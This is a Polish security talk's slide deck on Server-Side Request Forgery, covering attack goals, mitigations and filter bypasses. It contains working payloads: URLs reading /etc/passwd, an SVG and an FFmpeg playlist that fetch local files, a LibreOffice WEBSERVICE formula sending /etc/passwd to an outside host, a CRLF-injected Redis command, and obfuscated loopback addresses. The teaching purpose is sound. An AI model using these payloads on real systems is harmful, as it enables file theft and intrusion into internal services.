Michał Sajdak

sekurak.pl & securitum.pl

SSRF: podatność warta czapki gruszek czy miliona dolarów?

Server-Side Request Forgery (SSRF)

Mało znana podatność, występuje względnie często w aplikacjach webowych

Zmuszenie serwera do wykonania komunikacji
pewnym protokołem

Do samego siebie

Do innych serwerów w backendzie

Do innych serwerów/urządzeń w LAN

Do serwera atakującego

Normalna sytuacja

SSRF

Co się stanie jeśli wrzucimy na FB posta z linkiem http://127.0.0.1:21/ ?

 

Co może osiągnąć atakujący?

Czytanie plików z serwera

Dostęp do LAN

Przejęcie serwera (wykonanie dowolnego kodu)

DoS

Dostęp do normalnie niedostępnych usług sieciowych

NIC :P

Przykłady

GET /get_resource.php?file=http://cdn.sekurak.pl/main.js

GET /get_resource.php?file=http://127.0.0.1:21/

GET /get_resource.php?file=http://admin:admin@192.168.1.1/reboot

GET /get_resource.php?file=telnet://10.0.0.1/

GET /get_resource.php?file=file://etc/passwd

XML External Entity
(XXE)

Przykłady...

SVG / XLINK
 

Mechanizm XLink (https://www.w3.org/TR/xlink/) to XML-owy odpowiednik hyperlinków znanych z HTML-a.

<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<svg xmlns:svg="http://www.w3.org/2000/svg" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="200" height="200">
<image height="30" width="30" xlink:href="/lib/plymouth/ubuntu_logo.png" />
<image height="30" width="30" xlink:href="http://127.0.0.1:9555/_shutdown/" />
<text x="0" y="20" font-size="20">test</text>
</svg>

https://hackerone.com/reports/97501:
SVG parser loads external resources on image upload

Przykłady...

MP4

FFmpeg wspiera technologię HTTP Live Streaming

HTTP Live Streaming is an HTTP-based media streaming communications protocol implemented by Apple Inc. as part of its QuickTime, Safari, OS X, and iOS software. Client implementations are also available in Microsoft Edge, Firefox and some versions of Google Chrome. Support is widespread in streaming media servers.

Przykłady...

test.mp4 (M3U to format opisujący playlistę)
 

#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:10.0,
concat:http://dx.su/header.m3u8|file:///etc/passwd
#EXT-X-ENDLIST

 

ffmpeg -i test.mp4 -o wynik.avi

Upload pliku mp4

Przykłady...

CVE-2018-6871 - podatność w LibreOffice

Remote arbitrary file disclosure vulnerability via WEBSERVICE formula

Plik csv lub xls, w wybranej komórce:

 

=WEBSERVICE("/etc/passwd")

=WEBSERVICE("http://sekurak.pl/?q=" & WEBSERVICE("/etc/passwd"))

LibreOffice czasem bywa wykorzystywany do konwersji plików
xls / csv / ... na pdf

Case - Github Enterprise

2 słowa przypomnienia w temacie protokołu HTTP

Case - Github Enterprise

Istotna ciekawostka - wstrzykiwanie znaków końca linii w URI 

Jeśli to się uda - atakujący ma możliwość rozmawiania z niemal każdym protokołem tekstowym (nie tylko HTTP)

Status: Open (21.02.2019)
Actually, the CRLF + space can be injected via percent encoding, so just dealing with literal CRLFs and spaces wouldn’t be enough. You would have to validate the hostname after it is decoded.

urlopen("http://127.0.0.1%0D%0A%20SLAVEOF . . . :6379/")

Zabezpieczenia

Jeśli pobieramy zasoby z konkretnego, zewnętrznego adresu (np. z CDN):

Wskażmy jako dozwolony tylko konkretny adres IP/domenę 

Czasem to nie jest możliwe (patrz np. Facebook + wall)

Co się stanie jeśli wrzucimy na FB posta z linkiem http://127.0.0.1:21/ ?

 

Zabezpieczenia

A może http://127.1/?

http://0/ ?

Mogę odwołać się do domeny np. 127.sekurak.pl -> ale w DNS mamy: 127.0.0.1

http://[::1]/ ?

Zabezpieczenia

No dobrze, użyjmy już normalnej domeny: https://sekurak.pl/redir.php

$ wget https://sekurak.pl/redir.php
--2019-02-20 10:57:37--  https://sekurak.pl/redir.php
Resolving sekurak.pl (sekurak.pl)... 178.32.219.59
Connecting to sekurak.pl (sekurak.pl)|178.32.219.59|:443... connected.
HTTP request sent, awaiting response... 302 Found
Location: http://127.0.0.1 [following]
--2019-02-20 10:57:37--  http://127.0.0.1/
Connecting to 127.0.0.1:80... connected.
HTTP request sent, awaiting response... 403 Forbidden
2019-02-20 10:57:37 ERROR 403: Forbidden.

Zabezpieczenia

Bardziej trickowe zapisy adresów IP:

http://2130706433/

http://0177.0000.0000.0001/

http://00000000177.0x1f.20.1/

Zabezpieczenia

Mocny whitelisting dopuszczonych zasobów

allow: www.sekurak.pl
jeśli jest traktowany jako regex, to rejestruję wwwXsekurak.pl i robię na nim redirect do 127.0.0.1

Zewnętrzny komponent proxy ze ściśle filtrowanym ruchem na firewallu

Pamiętajmy, że czasem jeśli nie dociągamy zewnętrznych zasobów to ... może jednak dociągamy (XXE, SVG, MP4, XLS, CSV, ...)

Pamiętajmy o przekierowaniach

Demo

QA ?